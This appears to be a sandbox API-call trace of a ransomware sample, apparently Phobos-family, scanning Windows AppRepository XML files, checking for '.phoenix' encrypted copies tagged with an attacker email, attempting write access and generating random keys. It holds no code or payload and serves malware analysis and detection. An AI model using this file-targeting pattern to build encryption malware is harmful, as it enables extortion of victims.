	[0250.760] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.760] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=837) returned 1
	[0250.760] CloseHandle (hObject=0x2d4) returned 1
	[0250.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.761] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.761] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.761] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.761] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=18109) returned 1
	[0250.761] CloseHandle (hObject=0x2d4) returned 1
	[0250.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.761] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.761] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.761] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.762] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=5033) returned 1
	[0250.762] CloseHandle (hObject=0x2d4) returned 1
	[0250.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.762] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.762] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.762] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.762] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3202) returned 1
	[0250.762] CloseHandle (hObject=0x2d4) returned 1
	[0250.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0250.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.763] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.763] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.763] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.763] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=13944) returned 1
	[0250.763] CloseHandle (hObject=0x2d4) returned 1
	[0250.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0250.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.763] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.764] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.764] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.764] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3904) returned 1
	[0250.764] CloseHandle (hObject=0x2d4) returned 1
	[0250.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.764] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.765] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.765] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.765] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3904) returned 1
	[0250.765] CloseHandle (hObject=0x2d4) returned 1
	[0250.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.765] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.765] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.765] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.766] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2744) returned 1
	[0250.766] CloseHandle (hObject=0x2d4) returned 1
	[0250.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.766] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.766] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.766] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.766] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=27544) returned 1
	[0250.766] CloseHandle (hObject=0x2d4) returned 1
	[0250.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.767] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.767] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.767] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.767] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=846) returned 1
	[0250.767] CloseHandle (hObject=0x2d4) returned 1
	[0250.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.767] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.767] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.767] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.768] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=26091) returned 1
	[0250.768] CloseHandle (hObject=0x2d4) returned 1
	[0250.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.768] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.768] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.768] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.768] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=8306) returned 1
	[0250.768] CloseHandle (hObject=0x2d4) returned 1
	[0250.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.769] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.769] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.769] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.769] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=843) returned 1
	[0250.769] CloseHandle (hObject=0x2d4) returned 1
	[0250.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.769] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
